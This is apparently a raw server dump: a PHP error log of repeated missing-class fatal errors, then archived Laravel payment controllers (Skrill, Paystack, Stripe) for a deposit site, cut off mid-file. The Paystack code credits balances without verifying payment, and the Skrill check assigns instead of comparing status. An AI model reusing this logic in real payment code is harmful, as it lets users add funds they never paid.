Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php on line 12 [19-Nov-2025 14:43:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [19-Nov-2025 15:09:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 15:13:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php on line 14 [19-Nov-2025 15:14:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php on line 8 [19-Nov-2025 15:16:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php on line 16 [19-Nov-2025 15:17:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [19-Nov-2025 15:19:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 15:21:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 15:22:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [19-Nov-2025 15:24:24 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 15:25:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [19-Nov-2025 15:28:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 15:29:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [19-Nov-2025 15:32:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 15:33:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 15:34:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php on line 14 [19-Nov-2025 15:35:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [19-Nov-2025 15:44:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [19-Nov-2025 15:45:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 15:47:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 15:49:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 15:53:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [19-Nov-2025 20:33:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 20:33:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 20:33:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [19-Nov-2025 20:33:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php on line 8 [19-Nov-2025 20:36:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [19-Nov-2025 20:48:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 20:49:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 20:52:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [19-Nov-2025 20:53:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [19-Nov-2025 20:54:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [19-Nov-2025 20:57:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php on line 15 [19-Nov-2025 21:08:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [19-Nov-2025 21:09:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 21:20:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 21:21:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [19-Nov-2025 21:22:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php on line 8 [19-Nov-2025 21:28:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [19-Nov-2025 21:29:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 21:30:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [19-Nov-2025 21:32:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 21:33:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 21:34:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 21:35:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php on line 15 [19-Nov-2025 21:40:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [19-Nov-2025 22:24:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 22:24:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [19-Nov-2025 22:25:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php on line 8 [19-Nov-2025 22:25:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [19-Nov-2025 22:25:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 22:25:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [19-Nov-2025 22:29:50 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [19-Nov-2025 22:30:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [19-Nov-2025 22:31:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 22:32:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 22:35:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php on line 15 [19-Nov-2025 22:36:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 22:41:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [25-Nov-2025 02:31:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [25-Nov-2025 02:33:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php on line 14 [25-Nov-2025 02:33:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [25-Nov-2025 02:34:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [25-Nov-2025 02:34:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php on line 12 [25-Nov-2025 02:34:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [25-Nov-2025 02:35:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [25-Nov-2025 02:57:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [25-Nov-2025 03:03:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [25-Nov-2025 03:27:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [25-Nov-2025 03:29:12 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php on line 16 [25-Nov-2025 03:29:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [25-Nov-2025 03:31:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [25-Nov-2025 05:28:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/ManualController.php on line 15 [25-Nov-2025 05:31:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 Controllers/Deposit/SkrillController.php 0000644 00000005345 15111246742 0014510 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class SkrillController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('skrill')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $deposit_number = Str::random(4).time(); $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $addionalData = ['item_number'=>$deposit_number]; $this->orderRepositorty->deposit($request,'pending',$addionalData); $info['pay_to_email'] = trim($this->paydata['email']); $info['transaction_id'] = $deposit_number; $info['status_url'] = route('deposit.skrill.notify'); $info['language'] = 'EN'; $info['amount'] = round($amountToAdd,2); $info['currency'] = $currency->name; $info['detail1_description'] = $gs->title; $info['detail1_text'] = "Pay To ".$gs->title; $data['info'] = $info; $data['method'] = "POST"; $data['url'] = "https://pay.skrill.com"; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $deposit = Deposit::where('deposit_number',$request->transaction_id)->where('status','pending')->first(); $user = auth()->user(); $concatFields = $request->merchant_id . $request->transaction_id . strtoupper(md5(trim($this->paydata['secret']))) . $request->mb_amount . $request->mb_currency . $request->status; if (strtoupper(md5($concatFields)) == $request->md5sig && $request->pay_to_email == trim($this->paydata['email']) && $deposit->status = 'pending') { $deposit->status = "complete"; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $this->orderRepositorty->callAfterOrder($request,$deposit); return redirect()->route('user.deposit.index')->with('message','Deposit successfully complete.'); }else{ return redirect()->route('user.deposit.create')->with('unsuccess','Something went wrong!'); } } } Controllers/Deposit/PaystackController.php 0000644 00000003552 15111246742 0015025 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use Illuminate\Http\Request; use Illuminate\Support\Str; class PaystackController extends Controller { public function __construct() { } public function store(Request $request){ if($request->currency_code != "NGN") { return redirect()->back()->with('unsuccess','Please Select NGN Currency For Paystack.'); } $deposit = new Deposit(); $deposit['user_id'] = auth()->user()->id; $deposit['amount'] = $request->amount; $deposit['method'] = $request->method; $deposit['status'] = "complete"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $currency = Currency::where('id',$request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $user = auth()->user(); $user->income += $amountToAdd; $user->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount ('.$request->amount.') successfully!'); } } Controllers/Deposit/StripeController.php 0000644 00000012725 15111246742 0014516 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use Cartalyst\Stripe\Laravel\Facades\Stripe; use Illuminate\Support\Facades\Session; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; use Stripe\Error\Card; use Carbon\Carbon; use Input; use Redirect; use URL; use Validator; use Config; class StripeController extends Controller { public function __construct() { $data = PaymentGateway::whereKeyword('Stripe')->first(); $paydata = $data->convertAutoData(); \Stripe\Stripe::setApiKey($paydata['secret']); } public function store(Request $request){ $settings = Generalsetting::findOrFail(1); $item_name = $settings->title." Deposit"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Stripe.'); } $user = auth()->user(); $gs = Generalsetting::findOrFail(1); Session::put('request',$request->all()); $session = \Stripe\Checkout\Session::create([ "line_items" => [ [ "quantity" => 1, "price_data" => [ "currency" => $request->currency_code, "unit_amount" =>$item_amount*100, "product_data" => [ "name" => $gs->title . 'Deposit' ] ] ] ], 'mode' => 'payment', "locale" => "auto", 'success_url' => route('user.deposit.success', [], true) . "?session_id={CHECKOUT_SESSION_ID}", 'cancel_url' => route('checkout.paypal.cancel', [], true), ]); return redirect($session->url); } public function success(Request $request) { $deposit = new Deposit(); $user= Auth::user(); $gs= Generalsetting::first(); $item_number = Str::random(4).time(); $item_amount = $request['amount']; $sessionId = $request->get('session_id'); try{ $session = \Stripe\Checkout\Session::retrieve($sessionId); if (!$session) { throw new NotFoundHttpException; } $request = Session::get('request'); if ($session->payment_status == 'paid' && $session->status=='complete') { $currency = Currency::where('id',$request['currency_id'])->first(); $amountToAdd = $request['amount']/$currency->value; $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = auth()->id(); $deposit['currency_id'] = $request['currency_id']; $deposit['amount'] = $amountToAdd; $deposit['method'] = $request['method']; $deposit['txnid'] = $session->payment_intent; $deposit['charge_id'] = $sessionId; $deposit['status'] = "complete"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $amountToAdd; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amountToAdd; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $item_amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " 